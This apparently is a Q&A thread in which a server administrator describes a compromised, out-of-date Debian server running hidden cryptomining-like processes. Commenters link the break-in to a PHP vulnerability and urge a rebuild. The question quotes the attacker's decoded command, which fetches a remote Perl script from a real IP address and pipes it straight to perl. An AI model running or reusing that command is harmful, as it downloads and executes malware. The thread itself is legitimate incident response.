3

I've been noticing over the last couple of weeks that the CPU on our server has been seeing a very high load, upon inspecting htop there have been a number of [sync_supers] processes running at 100%. Today I managed to catch it soon enough that the original command call was still in htop, the image below shows both the call to run the script and the resulting [sync_supers] processes. enter image description here

Reading the line I could see it was hiding what it's calling using a base64 encoded string, which is the following:

wget -qO - http://185.234.218.248/bt2.txt|perl

The file it's downloading is a perl script that's connecting out to a irc server but I at a quick look (I don't know perl) I'm not sure what it's doing beyond hammering my CPU, although I'm assuming it's bitcoin farming or something. I've tried to find information on how this hack is being performed but I've failed to find anything relieve so far, the closest I've got is it's an mention of an exploit in Apache and older kernel versions but no details or links.

Unfortunately updating the server isn't really a practical option due it being well past the end of life of the OS (it would be simpler to get a new server and copy all our software and website over). This is my fault for not keeping the server up to date to begin with and I fully acknowledge that.

OS version:

Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011

I need links to relevant resources of the attack, how to block it without playing wackamole with IP addresses, etc. My best current solution is rename wget to something else, I considered writing a script to run every minute to killall [sync_supers] running on www-data but killall can't find that process when it's running and looking at the perl script they could just change the process name.

  • I don't know fully how to help but I think that you should focus more in the fact that your Apache is executing an rsh script than the wget. Probably there is a directive about the executing perms you can configure. – Juan Mar 6 at 17:20
  • and what about running a grep -R d2dldCA * in your DocumentRoot to find the source? – Juan Mar 6 at 17:30
  • 6
    This is very probably CVE-2018-19518, for reference. See also PHP bug #76428. – JdeBP Mar 6 at 17:31
  • 7
    Related: How do I deal with a compromised server? Don't try to work with that server, you don't know what been installed. It's not yours anymore (assuming root has been breached too). – Kusalananda Mar 6 at 17:34
  • I understand that you want to apply band-aids to resolve the immediate problem but now really is the time “to get a new server and copy all our software and website over”. Otherwise, you will just be playing whack-a-mole and even if you stop the malicious processes and prevent them from restarting, you can’t fully be sure there aren’t other well-disguised malicious processes: I once took over a server that had already been rooted and had an IRC file server disguised as a kernel module. I noticed something was off when running rpm -Va showed that the sshd binary had been replaced. – Anthony Geoghegan Mar 7 at 12:29
1

Thanks to the people that commented, JdeBP has pointed me to the exploit that was used CVE-2018-19518, PHP bug #76428. The direct fix to plug the hole would be to update PHP.

That said, all comments regards to not trusting the server are indeed valid, while I've only ever seen it running under the www-data user, and that user doesn't even have access to the files on the http server, it could of broken out of that user and done something else that I've not been able to find. Besides my server is badly out of data anyway.

Lesson, always keep your servers up to date, OS and software, even if it's a pain and causes things to break every now and again.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.